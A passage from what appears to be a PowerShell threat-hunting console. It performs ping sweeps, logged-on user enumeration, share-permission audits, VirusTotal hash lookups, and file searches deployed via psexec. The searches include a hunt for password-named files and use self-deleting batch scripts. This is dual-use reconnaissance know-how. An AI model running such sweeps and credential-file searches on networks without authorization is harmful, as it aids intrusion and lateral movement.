if($IPList){ExecutePingSweep $IPList} 1703 | Return 1704 | } 1705 | "h"{Return $false} 1706 | "home"{Return $false} 1707 | "x"{ExitFunction} 1708 | "exit"{ExitFunction} 1709 | default{Write-Host -ForegroundColor Red "Invalid input"} 1710 | } 1711 | } 1712 | } 1713 | 1714 | Function ExecutePingSweep 1715 | { 1716 | param($IPList) 1717 | 1718 | Write-Host 1719 | 1720 | $Script:Deploy = $false 1721 | $Script:outfile="PingSweep$script:ScanTime.csv" 1722 | 1723 | Write-Host $(get-Date) 1724 | Write-Host -ForegroundColor Yellow "Executing ping sweep" 1725 | CreateTempDir 1726 | $TempThrottle = $scan.Throttle 1727 | $scan.Throttle = $scan.Throttle * 5 1728 | RunScriptBlock $PingSweepSB $IPList $scan 1729 | $scan.Throttle = $TempThrottle 1730 | $Script:csvHeader = "IP Address,TTL" 1731 | ParseData 109 $TEMP_DIR 1732 | FilterData 109 1733 | } 1734 | 1735 | Function ChooseFileTypes 1736 | { 1737 | Write-Host " 1738 | File-types to search. 1739 | 1740 | [0] ALL 1741 | [1] Image Files (*.jpg, *.jpeg, *.tif, *.gif, *.bmp) 1742 | [2] Audio Files (*.m4a, *.m4p, *.mp3, *.wma) 1743 | [3] Video Files (*.asf, *.avi, *.m4v, *.mov, *.mp4, *.mpeg, *.mpg, *.wmv) 1744 | [4] Windows Script Files (*.ps1, *.psm1, *.vb, *.vbs, *.bat, *.cmd) 1745 | [5] Executable Files (*.exe, *.dll, *.sys) 1746 | [6] Outlook data files (*.pst) 1747 | [7] Password files (*passw*, *pwd*) 1748 | 1749 | Choice: " -NoNewLine 1750 | $ScanChoice = ReadYellow 1751 | Write-Host 1752 | Return ParseMenuChoice $ScanChoice 7 1753 | } 1754 | 1755 | Function FileTypeSearch 1756 | { 1757 | Write-Host -ForegroundColor Green " 1758 | File Search 1759 | -----------" 1760 | while($true) 1761 | { 1762 | Write-Host "Search local path[1] or network share[2]: " -NoNewLine 1763 | $SearchScope = ReadYellow 1764 | switch($SearchScope) 1765 | { 1766 | 1{DeployFileSearch; return} 1767 | 2{NetShareFileSearch; return} 1768 | "h"{Return $false} 1769 | "home"{Return $false} 1770 | "x"{ExitFunction} 1771 | "exit"{ExitFunction} 1772 | default{Write-Host -ForegroundColor Red "Invalid input"} 1773 | } 1774 | } 1775 | } 1776 | 1777 | #deploy file search searches a file path on each local host using psexec 1778 | Function DeployFileSearch 1779 | { 1780 | $Script:ScanChoiceArray.clear() 1781 | 1782 | #Array to hold the choices of file-types to search for 1783 | $FileTypesArray = New-Object System.Collections.ArrayList 1784 | Write-Host " 1785 | Enter local path to begin search. 1786 | Default is C:\: " -NoNewLine 1787 | $Script:PathToSearch = ReadYellow 1788 | if (-not $Script:PathToSearch){$Script:PathToSearch="C:\"} #default path is C:\ 1789 | $FileTypesArray.add($(ChooseFileTypes))|Out-Null 1790 | 1791 | for($i=0; $i -lt $FileTypesArray.count; $i++) 1792 | { 1793 | #set script variables based on file types 1794 | switch($FileTypesArray[$i]) 1795 | { 1796 | 1{ 1797 | $Script:ScanChoiceArray.add(101)|out-null 1798 | $Script:ImageSearchCode_BAT = ' 1799 | @echo off 1800 | IF EXIST "C:\ImageFileSearch392125281" DEL "C:\ImageFileSearch392125281" 1801 | for /R "'+$PathToSearch+'" %%f in (*.jpg *.jpeg *.tif *.gif *.bmp) do ( 1802 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1803 | ) >> "C:\ImageFileSearch392125281" 1804 | (goto) 2>nul & del "%~f0"' 1805 | 1806 | $Script:ImageSearchCode_PS1 = ' 1807 | if (Test-Path "C:\ImageFileSearch392125281"){Remove-Item -Force "C:\ImageFileSearch392125281"} 1808 | $include = "*.jpg", "*.jpeg", "*.tif", "*.gif", "*.bmp" 1809 | try{ 1810 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1811 | ?{$_.FullName -NotMatch "Application Data"}| 1812 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1813 | Out-file "C:\ImageFileSearch392125281" 1814 | } catch {continue} 1815 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1816 | } 1817 | 2{ 1818 | $Script:ScanChoiceArray.add(102)|out-null 1819 | $Script:AudioSearchCode_BAT = ' 1820 | @echo off 1821 | IF EXIST "C:\AudioFileSearch392125281" DEL "C:\AudioFileSearch392125281" 1822 | for /R "'+$PathToSearch+'" %%f in (*.m4a *.m4p *.mp3 *.wma) do ( 1823 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1824 | ) >> "C:\AudioFileSearch392125281" 1825 | (goto) 2>nul & del "%~f0"' 1826 | 1827 | $Script:AudioSearchCode_PS1 = ' 1828 | if (Test-Path "C:\AudioFileSearch392125281"){Remove-Item -Force "C:\AudioFileSearch392125281"} 1829 | $include = "*.m4a", "*.m4p", "*.mp3", "*.wma" 1830 | try{ 1831 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1832 | ?{$_.FullName -NotMatch "Application Data"}| 1833 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1834 | Out-file "C:\AudioFileSearch392125281" 1835 | } catch {continue} 1836 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1837 | } 1838 | 3{ 1839 | $Script:ScanChoiceArray.add(103)|out-null 1840 | $Script:VideoSearchCode_BAT = ' 1841 | @echo off 1842 | IF EXIST "C:\VideoFileSearch392125281" DEL "C:\VideoFileSearch392125281" 1843 | for /R "'+$PathToSearch+'" %%f in (*.asf *.avi *.m4v *.mov *.mp4 *.mpeg *.mpg *.wmv) do ( 1844 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1845 | ) >> "C:\VideoFileSearch392125281" 1846 | (goto) 2>nul & del "%~f0"' 1847 | 1848 | $Script:VideoSearchCode_PS1 = ' 1849 | if (Test-Path "C:\VideoFileSearch392125281"){Remove-Item -Force "C:\VideoFileSearch392125281"} 1850 | $include = "*.asf", "*.avi", "*.m4v", "*.mov", "*.mp4", "*.mpeg", "*.mpg", "*.wmv" 1851 | try{ 1852 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1853 | ?{$_.FullName -NotMatch "Application Data"}| 1854 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1855 | Out-file "C:\VideoFileSearch392125281" 1856 | } catch {continue} 1857 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1858 | } 1859 | 4{ 1860 | $Script:ScanChoiceArray.add(104)|out-null 1861 | $Script:ScriptSearchCode_BAT = ' 1862 | @echo off 1863 | IF EXIST "C:\ScriptFileSearch392125281" DEL "C:\ScriptFileSearch392125281" 1864 | for /R "'+$PathToSearch+'" %%f in (*.ps1 *.psm1 *.vb *.vbs *.bat *.cmd) do ( 1865 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1866 | ) >> "C:\ScriptFileSearch392125281" 1867 | (goto) 2>nul & del "%~f0"' 1868 | 1869 | $Script:ScriptSearchCode_PS1 = ' 1870 | if (Test-Path "C:\ScriptFileSearch392125281"){Remove-Item -Force "C:\ScriptFileSearch392125281"} 1871 | $include = "*.ps1", "*.psm1", "*.vb", "*.vbs", "*.bat", "*.cmd" 1872 | try{ 1873 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1874 | ?{$_.FullName -NotMatch "Application Data"}| 1875 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1876 | Out-file "C:\ScriptFileSearch392125281" 1877 | } catch {continue} 1878 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1879 | } 1880 | 5{ 1881 | $Script:ScanChoiceArray.add(105)|out-null 1882 | $Script:ExecutableSearchCode_BAT = ' 1883 | @echo off 1884 | IF EXIST "C:\ExecutableFileSearch392125281" DEL "C:\ExecutableFileSearch392125281" 1885 | for /R "'+$PathToSearch+'" %%f in (*.exe *.dll *.sys) do ( 1886 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1887 | ) >> "C:\ExecutableFileSearch392125281" 1888 | (goto) 2>nul & del "%~f0"' 1889 | 1890 | $Script:ExecutableSearchCode_PS1 = ' 1891 | if (Test-Path "C:\ExecutableFileSearch392125281"){Remove-Item -Force "C:\ExecutableFileSearch392125281"} 1892 | $include = "*.exe", "*.dll", "*.sys" 1893 | try{ 1894 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1895 | ?{$_.FullName -NotMatch "Application Data"}| 1896 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1897 | Out-file "C:\ExecutableFileSearch392125281" 1898 | } catch {continue} 1899 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1900 | } 1901 | 6{ 1902 | $Script:ScanChoiceArray.add(106)|out-null 1903 | $Script:DataFileSearchCode_BAT = ' 1904 | @echo off 1905 | IF EXIST "C:\DataFileSearch392125281" DEL "C:\DataFileSearch392125281" 1906 | for /R "'+$PathToSearch+'" %%f in (*.pst) do ( 1907 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1908 | ) >> "C:\DataFileSearch392125281" 1909 | (goto) 2>nul & del "%~f0"' 1910 | 1911 | $Script:DataFileSearchCode_PS1 = ' 1912 | if (Test-Path "C:\DataFileSearch392125281"){Remove-Item -Force "C:\DataFileSearch392125281"} 1913 | $include = "*.pst" 1914 | try{ 1915 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1916 | ?{$_.FullName -NotMatch "Application Data"}| 1917 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1918 | Out-file "C:\DataFileSearch392125281" 1919 | } catch {continue} 1920 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1921 | } 1922 | 7{ 1923 | $Script:ScanChoiceArray.add(107)|out-null 1924 | $Script:PasswordSearchCode_BAT = ' 1925 | @echo off 1926 | IF EXIST "C:\PasswordFileSearch392125281" DEL "C:\PasswordFileSearch392125281" 1927 | for /R "'+$PathToSearch+'" %%f in (*passw* *pwd*) do ( 1928 | echo %COMPUTERNAME%,%%~nxf,%%~dpf 1929 | ) >> "C:\PasswordFileSearch392125281" 1930 | (goto) 2>nul & del "%~f0"' 1931 | 1932 | $Script:PasswordSearchCode_PS1 = ' 1933 | if (Test-Path "C:\PasswordFileSearch392125281"){Remove-Item -Force "C:\PasswordFileSearch392125281"} 1934 | $include = "*passw*", "*pwd*" 1935 | try{ 1936 | Get-ChildItem -path "'+$PathToSearch+'*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1937 | ?{$_.FullName -NotMatch "Application Data"}| 1938 | foreach {${env:COMPUTERNAME}+","+$_.Name+","+$_.Directoryname}| 1939 | Out-file "C:\PasswordFileSearch392125281" 1940 | } catch {continue} 1941 | Remove-Item -Force "C:\PSExecShellCode.ps1"' 1942 | } 1943 | "h"{return $false} 1944 | "home"{return $false} 1945 | "x"{ExitFunction} 1946 | "exit"{ExitFunction} 1947 | } 1948 | } 1949 | } 1950 | 1951 | #Execute net share file search with progress meter. 1952 | Function NetShareFileSearch_Run 1953 | { 1954 | param($path, $include, $ScanType) 1955 | 1956 | #hash table to store variables for progress meter 1957 | $progParam=@{ 1958 | Activity = "$ScanType" 1959 | CurrentOperation = $path 1960 | Status="Querying top level folders" 1961 | PercentComplete=0 1962 | } 1963 | 1964 | Write-Progress @progParam 1965 | 1966 | #Get all subdirectories in path to search 1967 | $top = Get-ChildItem -Path $path |Where{$_.PSIsContainer} 1968 | #initialize a counter 1969 | $i=0 1970 | foreach ($folder in $top) { 1971 | $folder=$folder.FullName 1972 | #calculate percentage based on number of folders in path to search 1973 | $i++ 1974 | 1975 | #set variables for progress meter 1976 | [int]$pct = ($i/$top.count)*100 1977 | $progParam.CurrentOperation ="Searching: $folder" 1978 | $progParam.Status="Progress" 1979 | $progParam.PercentComplete = $pct 1980 | 1981 | #Write the progress 1982 | Write-Progress @progParam 1983 | 1984 | #Perform the file search in the subdirectory of the path 1985 | Get-ChildItem -path "$folder\*" -Include $include -Recurse -Force -ErrorAction silentlycontinue | 1986 | foreach {$_.Name+","+$_.Directoryname} 1987 | } 1988 | Write-Progress @progParam -Completed 1989 | } 1990 | 1991 | Function NetShareFileSearch 1992 | { 1993 | $FileTypesArray = New-Object System.Collections.ArrayList 1994 | While ($true) #Loop until input is valid 1995 | { 1996 | Write-Host "Enter full path to network share: " -NoNewLine 1997 | $SearchNetworkShare = ReadYellow 1998 | 1999 | #Make sure that input is valid. 2000 | if ($SearchNetworkShare -and (Test-Path $SearchNetworkShare -ErrorAction SilentlyContinue)) {break} 2001 | else 2002 | { 2003 | Write-Host -ForegroundColor Red "Invalid Path 2004 | Use format: \\servername\sharename" 2005 | } 2006 | } 2007 | 2008 | $FileTypesArray.add($(ChooseFileTypes)) #fill array with file types to search 2009 | $Script:Deploy = $false #Search is not executed using psexec 2010 | 2011 | #set variables for filtering data 2012 | $script:ResultsUnique = "$TEMP_DIR\Unique.csv" 2013 | $script:ResultsFiltered = "$TEMP_DIR\Filtered.csv" 2014 | $script:ResultsUniqFilt = "$TEMP_DIR\Filtered_Unique.csv" 2015 | $script:Errors = "$TEMP_DIR\ErrorLog.csv" 2016 | 2017 | #iterate through file choices and find files 2018 | for($i=0; $i -lt $FileTypesArray.count; $i++) 2019 | { 2020 | CreateTempDir 2021 | switch ($FileTypesArray[$i]) 2022 | { 2023 | 1{ #image files 2024 | $script:outfile = "ImageFiles_Share$script:ScanTime.csv" 2025 | $script:Results = "$TEMP_DIR\$OutFile" 2026 | Write-Host -ForegroundColor Yellow "Searching for image files." 2027 | $script:csvHeader = "File Name,Path" 2028 | $script:csvHeader | Add-Content "$TEMP_DIR\$outfile" 2029 | $include = "*.jpg", "*.jpeg", "*.tif", "*.gif", "*.bmp" 2030 | NetShareFileSearch_Run $SearchNetworkShare $include "Image Search:" |Add-Content "$TEMP_DIR\$outfile" 2031 | Write-Host -ForegroundColor Yellow "Parsing Data" 2032 | FilterData 101 $True 2033 | } 2034 | 2{ #Audio Files 2035 | $script:outfile = "AudioFiles_Share$script:ScanTime.csv" 2036 | $script:Results = "$TEMP_DIR\$OutFile" 2037 | Write-Host -ForegroundColor Yellow "Searching for audio files." 2038 | $script:csvHeader = "File Name,Path" 2039 | $script:csvHeader| Add-Content "$TEMP_DIR\$outfile" 2040 | $include = "*.m4a", "*.m4p", "*.mp3", "*.wma" 2041 | NetShareFileSearch_Run $SearchNetworkShare $include "Audio Search:" |Add-Content "$TEMP_DIR\$outfile" 2042 | Write-Host -ForegroundColor Yellow "Parsing Data" 2043 | FilterData 102 $True 2044 | } 2045 | 3{ #Video Files 2046 | $script:outfile = "VideoFiles_Share$script:ScanTime.csv" 2047 | $script:Results = "$TEMP_DIR\$OutFile" 2048 | Write-Host -ForegroundColor Yellow "Searching for video files." 2049 | $script:csvHeader = "File Name,Path" 2050 | $script:csvHeader | Add-Content "$TEMP_DIR\$outfile" 2051 | $include = "*.asf", "*.avi", "*.m4v", "*.mov", "*.mp4", "*.mpeg", "*.mpg", "*.wmv" 2052 | NetShareFileSearch_Run $SearchNetworkShare $include "Video Search:" |Add-Content "$TEMP_DIR\$outfile" 2053 | Write-Host -ForegroundColor Yellow "Parsing Data" 2054 | FilterData 103 $True 2055 | } 2056 | 4{ #Script Files 2057 | $script:outfile = "ScriptFiles_Share$script:ScanTime.csv" 2058 | $script:Results = "$TEMP_DIR\$OutFile" 2059 | Write-Host -ForegroundColor Yellow "Searching for windows script files." 2060 | $script:csvHeader = "File Name,Path" 2061 | $script:csvHeader | Add-Content "$TEMP_DIR\$outfile" 2062 | $include = "*.ps1", "*.psm1", "*.vb", "*.vbs", "*.bat", "*.cmd" 2063 | NetShareFileSearch_Run $SearchNetworkShare $include "Script Search:" |Add-Content "$TEMP_DIR\$outfile" 2064 | Write-Host -ForegroundColor Yellow "Parsing Data" 2065 | FilterData 104 $True 2066 | } 2067 | 5{ #Executable Files 2068 | $script:outfile = "ExecutableFiles_Share$script:ScanTime.csv" 2069 | $script:Results = "$TEMP_DIR\$OutFile" 2070 | Write-Host -ForegroundColor Yellow "Searching for executable files." 2071 | $script:csvHeader = "File Name,Path" 2072 | $script:csvHeader | Add-Content "$TEMP_DIR\$outfile" 2073 | $include = "*.exe", "*.dll", "*.sys" 2074 | NetShareFileSearch_Run $SearchNetworkShare $include "Executable Search:" |Add-Content "$TEMP_DIR\$outfile" 2075 | Write-Host -ForegroundColor Yellow "Parsing Data" 2076 | FilterData 105 $True 2077 | } 2078 | 6{ #Outlook data files 2079 | $script:outfile = "OutlookDataFiles_Share$script:ScanTime.csv" 2080 | $script:Results = "$TEMP_DIR\$OutFile" 2081 | Write-Host -ForegroundColor Yellow "Searching for Outlook data files." 2082 | $script:csvHeader = "File Name,Path" 2083 | $script:csvHeader | Add-Content "$TEMP_DIR\$outfile" 2084 | $include = "*.pst" 2085 | NetShareFileSearch_Run $SearchNetworkShare $include "Outlook Data-file Search:" |Add-Content "$TEMP_DIR\$outfile" 2086 | Write-Host -ForegroundColor Yellow "Parsing Data" 2087 | FilterData 106 $True 2088 | } 2089 | 7{ #password files 2090 | $script:outfile = "PasswordFiles_Share$script:ScanTime.csv" 2091 | $script:Results = "$TEMP_DIR\$OutFile" 2092 | Write-Host -ForegroundColor Yellow "Searching for password files." 2093 | $script:csvHeader = "File Name,Path" 2094 | $script:csvHeader | Add-Content "$TEMP_DIR\$outfile" 2095 | $include = "*passw*", "*pwd*" 2096 | NetShareFileSearch_Run $SearchNetworkShare $include "Password Search:" |Add-Content "$TEMP_DIR\$outfile" 2097 | Write-Host -ForegroundColor Yellow "Parsing Data" 2098 | FilterData 107 $True 2099 | } 2100 | } 2101 | } 2102 | } 2103 | 2104 | Function LoggedOnUsers 2105 | { 2106 | Write-Host 2107 | if($script:FirstRunComps) #Test to see if list of active computers exists or not 2108 | { 2109 | $script:ActiveComputers = GetActiveComputers 2110 | } 2111 | 2112 | $Script:Deploy = $false 2113 | $Script:outfile="LoggedOnUsers$script:ScanTime.csv" 2114 | 2115 | Write-Host $(get-Date) 2116 | Write-Host -ForegroundColor Yellow "Enumerating logged on users" 2117 | CreateTempDir 2118 | RunScriptBlock $LoggedOnUsers_SB $ActiveComputers $scan 2119 | $Script:csvHeader = "Host Name,User" 2120 | ParseData 108 $TEMP_DIR 2121 | FilterData 108 2122 | } 2123 | 2124 | Function MapDrive 2125 | { 2126 | param($IPAddress, $ShareName) 2127 | 2128 | $UserDomain = $scan.Creds.GetNetworkCredential().domain 2129 | $UserName = $scan.Creds.GetNetworkCredential().username 2130 | if($userDomain) 2131 | { 2132 | $UserLogon = "$UserDomain\$UserName" 2133 | } 2134 | else 2135 | { 2136 | $UserLogon = "$UserName" 2137 | } 2138 | 2139 | net use \\$IPAddress\$ShareName /user:$UserLogon $($scan.Creds.GetNetworkCredential().password) 2>&1|Out-Null 2140 | if(-not $?) 2141 | { 2142 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostIP,Can't Map Drive" | 2143 | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 2144 | Return $FALSE 2145 | } 2146 | Return $TRUE 2147 | } 2148 | 2149 | Function NetworkSharePermissions 2150 | { 2151 | if(Test-Path $OUT_DIR) #look for network shares data in $OUT_DIR 2152 | { 2153 | $NetShareFile = $(Get-ChildItem "$OUT_DIR\NetworkShares*.csv" -Exclude "*errors*"|sort -Property LastWriteTime|select -first 1) 2154 | if(Test-Path "$OUT_DIR\CSV") 2155 | { 2156 | $NetShareFile1 = $(Get-ChildItem "$OUT_DIR\CSV\NetworkShares*.csv" -Exclude "*errors*"|sort -Property LastWriteTime|select -first 1) 2157 | } 2158 | } 2159 | 2160 | if($NetShareFile) #data found in $OUT_DIR 2161 | { 2162 | #Get list of shares but skip column names and $ shares 2163 | $Shares = (Get-Content $NetShareFile |Select -skip 1|Select-String -SimpleMatch '$' -NotMatch) 2164 | } 2165 | 2166 | elseif($NetShareFile1) #data found in $OUT_DIR\CSV 2167 | { 2168 | $Shares = (Get-Content $NetShareFile1 |Select -skip 1|Select-String -SimpleMatch '$' -NotMatch) 2169 | } 2170 | 2171 | else{Write-Host -ForegroundColor Red "Network-shares file not found"; return} 2172 | 2173 | (get-Date).ToString() | Write-Host 2174 | Write-Host -ForegroundColor Yellow "Enumerating network-share permissions" 2175 | 2176 | if(-not $Shares) 2177 | { 2178 | Write-Host -ForegroundColor Red "No network-shares found" 2179 | Return 2180 | } 2181 | 2182 | #Create data file 2183 | "HostName,ShareName,Identity,Permissions,Inherited"|Add-Content "$OUT_DIR\$outfile" 2184 | 2185 | foreach($Share in $Shares){ 2186 | $HostName = $Share.ToString().split(",")[0] 2187 | $ShareName = $Share.ToString().split(",")[2] 2188 | if($scan.creds) 2189 | { 2190 | If(-not (MapDrive $HostName $ShareName)){Continue} 2191 | } 2192 | if(Test-Path "\\$HostName\$ShareName" -ErrorAction SilentlyContinue) 2193 | { 2194 | (Get-Acl "\\$HostName\$ShareName").Access|%{ 2195 | if($_.FileSystemRights -match '[a-zA-Z]') 2196 | { 2197 | "$HostName,"+ 2198 | "\\$HostName\$ShareName,"+ 2199 | $_.IdentityReference.tostring()+","+ 2200 | $($_.FileSystemRights.tostring() -replace ',', ';')+","+ 2201 | $_.IsInherited.tostring()|Add-Content "$OUT_DIR\$outfile" 2202 | } 2203 | } 2204 | } 2205 | if($scan.creds) 2206 | { 2207 | net use \\$HostName\$ShareName /delete |Out-Null 2208 | } 2209 | } 2210 | ConvertFileFormat "$OUT_DIR\$outfile" 2211 | Move-Item "$OUT_DIR\$outfile" "$OUT_DIR\CSV\$outfile" -ErrorAction SilentlyContinue 2212 | } 2213 | 2214 | Function SendRequest 2215 | { 2216 | param($hashBlock, $APIKey) 2217 | 2218 | $par = @{ 2219 | Uri = 'https://www.virustotal.com/vtapi/v2/file/report' 2220 | DisableKeepAlive = $true 2221 | Method = 'POST' 2222 | Body = @{apikey = "$APIKey"} 2223 | } 2224 | 2225 | $par['Body'].resource = $hashBlock 2226 | 2227 | try { 2228 | $data = Invoke-RestMethod @par 2229 | } catch { 2230 | Write-host -ForegroundColor Red "Virus total web request failed" 2231 | Return $false 2232 | } 2233 | 2234 | $data|%{ 2235 | $_.resource+","+$_.positives+","+$_.total+","+$_.scan_date+","+$_.permalink}| 2236 | Add-Content "$TEMP_DIR\$OutFile" 2237 | Return $true 2238 | } 2239 | 2240 | Function VTHashAnalysis 2241 | { 2242 | if($PSVersionTable.PSVersion.Major -lt 3) 2243 | { 2244 | Write-Host -ForegroundColor Red "Function requires Powershell version 3.0 or higher" 2245 | Return 2246 | } 2247 | 2248 | Write-Host -ForegroundColor Green " 2249 | Virus Total Hash Analysis 2250 | -------------------------" 2251 | while($true) 2252 | { 2253 | Write-Host "Enter proxy IP [none]: " -NoNewLine 2254 | $proxyIP = ReadYellow 2255 | if($proxyIP) 2256 | { 2257 | if(ReturnFunction $proxyIP){Return} 2258 | if(VerifyIP $proxyIP) 2259 | { 2260 | while($true) 2261 | { 2262 | Write-Host "Enter proxy port [8080]: " -NoNewLine 2263 | $proxyPort = ReadYellow 2264 | if(-not $proxyPort){$proxyPort = 8080} 2265 | elseif(ReturnFunction $proxyPort){Return} 2266 | if(($proxyPort -lt 65536) -and ($proxyPort -gt 0)){break} 2267 | else 2268 | { 2269 | Write-Host -Foregroundcolor Red "Invalid Port: $proxyPort" 2270 | } 2271 | } 2272 | $global:PSDefaultParameterValues = @{ 2273 | 'Invoke-RestMethod:Proxy'='http://$proxyIP:$proxyPort' 2274 | 'Invoke-WebRequest:Proxy'='http://$proxyIP:$proxyPort' 2275 | '*:ProxyUseDefaultCredentials'=$true 2276 | } 2277 | break 2278 | } 2279 | else 2280 | { 2281 | Write-Host -Foregroundcolor Red "Invalid IP: $proxyIP" 2282 | } 2283 | } 2284 | else {break} 2285 | } 2286 | while($true) 2287 | { 2288 | Write-Host "Enter path to hash file: " -NoNewLine 2289 | $HashFile = ReadYellow 2290 | if($HashFile -and (-not (Test-Path $HashFile))) 2291 | { 2292 | if(ReturnFunction $HashFile){Return} 2293 | else 2294 | { 2295 | Write-Host -Foregroundcolor Red "File not found: $HashFile" 2296 | } 2297 | } 2298 | elseif(-not $HashFile) 2299 | { 2300 | Write-Host -Foregroundcolor Red "Hash file cannot be null" 2301 | } 2302 | else{break} 2303 | } 2304 | while($true) 2305 | { 2306 | Write-Host "Enter API key: " -NoNewLine 2307 | $APIKey = ReadYellow 2308 | if(-not $APIKey) 2309 | { 2310 | Write-Host -Foregroundcolor Red "API key required!" 2311 | } 2312 | if(ReturnFunction $APIKey){Return} 2313 | else{break} 2314 | } 2315 | Write-Host "Execute? [Y/n]: " -NoNewLine 2316 | $Execute = ReadYellow 2317 | if(($Execute -eq "n") -or ($Execute -eq "N")){Return} 2318 | 2319 | if(-not (Test-Connection www.virustotal.com -Quiet)) 2320 | { 2321 | Write-Host -ForegroundColor Red "Cannot reach www.virustotal.com" 2322 | Return 2323 | } 2324 | 2325 | Write-Host 2326 | Write-Host -ForegroundColor Yellow "Executing Virus-Total hash analysis" 2327 | $script:outfile = "VT_HashAnalysis$script:ScanTime.csv" 2328 | "File Hash,Hits,# of AVs,Analysis Date,URL" | Add-Content "$TEMP_DIR\$outfile" 2329 | 2330 | $progParam=@{ 2331 | Activity = "Virus-Total hash analysis" 2332 | CurrentOperation = "" 2333 | Status="Parsing hash file" 2334 | PercentComplete=0 2335 | } 2336 | 2337 | Write-Progress @progParam 2338 | 2339 | $regex = '\b[0-9a-fA-F]{32}\b' 2340 | $hashes = select-string -Path $HashFile -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value.tostring() } 2341 | $hashes = @($hashes|Sort-Object -Unique) 2342 | if($hashes.count -gt 5760) #VT public API key only allows 5760 submissionss/day 2343 | { 2344 | $hashes[5760..$hashes.count]|out-file "$OUT_DIR\TODO_hashes.txt" 2345 | Write-Warning " 2346 | $($hashes.count) hashes found. 2347 | Virus Total only allows 5760 submissions per day. 2348 | Submitting first 5760 hashes in $HashFile. 2349 | Remaining hashes saved in $OUT_DIR\TODO_hashes.txt 2350 | " 2351 | $hashes = $hashes[0..5759] 2352 | } 2353 | $hashBlock = "" 2354 | for($c=0; $c -le $hashes.count; $c+= 25) 2355 | { 2356 | if (($hashes.count - $c) -lt 25) 2357 | { 2358 | $BlockSize = $hashes.count - $c 2359 | } 2360 | else {$BlockSize = 24} 2361 | $First=$true 2362 | $hashes[($c..($c+$BlockSize))] | % { 2363 | if($First){$hashBlock=$_; $First=$false} 2364 | else{$hashBlock = $hashBlock+", "+$_} 2365 | } 2366 | $RequestStatus = SendRequest $hashBlock $APIKey 2367 | if(-not $RequestStatus){Return} 2368 | 2369 | [int]$pct = ($c/$hashes.count)*100 2370 | $progParam.CurrentOperation ="$c/$($hashes.count) hashes processed" 2371 | $progParam.Status="Progress" 2372 | $progParam.PercentComplete = $pct 2373 | Write-Progress @progParam 2374 | 2375 | if($c -eq $hashes.count){Return} 2376 | sleep 15 #public VT API only allows 4 requests/minute 2377 | } 2378 | Write-Progress @progParam -Completed 2379 | ConvertFileFormat "$TEMP_DIR\$outfile" 2380 | } 2381 | 2382 | #Run the Scan 2383 | Function Execute 2384 | { 2385 | if (-not $script:ConfigSuccess){$script:ConfigSuccess = config} #scan vars have not been configured enter configuration mode 2386 | if(-not $script:ConfigSuccess){Return} 2387 | 2388 | if(Test-Path variable:\script:CompsDate){ 2389 | #refresh list of active computers after 3 hours 2390 | if($script:CompsDate -lt (Get-Date).AddHours(-3)){$script:FirstRunComps=$true} 2391 | } 2392 | 2393 | if(-not ($ScanHostsFile -eq "ALL")) 2394 | { 2395 | $ModTime = (Get-ChildItem $ScanHostsFile).LastWriteTime 2396 | if ($HostFileModTime -lt $ModTime) 2397 | { 2398 | $script:HostFileModTime = $ModTime 2399 | $script:FirstRunComps=$true 2400 | } 2401 | } 2402 | 2403 | #Make data directory if it is not present 2404 | if ((Test-Path $script:OUT_DIR) -eq $false) 2405 | { 2406 | mkdir -Path $script:OUT_DIR -Force | Out-Null 2407 | } 2408 | 2409 | $script:ScanTime = $((get-date).tostring("HHmmss")) 2410 | CreateTempDir 2411 | DisplayMenu 2412 | 2413 | #continue looping until all scans completed 2414 | for($i=0; $i -lt $script:ScanChoiceArray.count; $i++) 2415 | { 2416 | if (-not (SetScanTypeVars $script:ScanChoiceArray[$i])){continue} #scan choice was invalid. Move to next 2417 | 2418 | if($script:Deploy) 2419 | { 2420 | 2421 | if($script:FirstRunComps) #Test to see if list of active computers exists or not 2422 | { 2423 | if(-not (Test-Path $TEMP_DIR)){CreateTempDir} 2424 | if($script:ScanDomain -or (-not ($ScanHostsFile -eq "ALL"))) 2425 | { 2426 | $tempOutfile = $Script:outfile 2427 | $script:ActiveComputers = GetActiveComputers 2428 | $Script:outfile = $tempOutfile 2429 | } 2430 | else 2431 | { 2432 | if (-not $noHostsFile) 2433 | { 2434 | $noHostsFile = $true 2435 | Write-Host -ForegroundColor Red "Host-File required for deployable scans when domain is null 2436 | " 2437 | } 2438 | Continue 2439 | } 2440 | } 2441 | 2442 | if($ActiveComputers.count -gt 0) 2443 | { 2444 | 2445 | if(-not (Test-Path $TEMP_DIR)){CreateTempDir} 2446 | 2447 | (get-Date).ToString() 2448 | Write-Host -ForegroundColor Yellow "Performing $ScanType" 2449 | 2450 | $script:CleanUp = $true 2451 | 2452 | #Create error log. 2453 | "Time Stamp,Host Name, Error" | 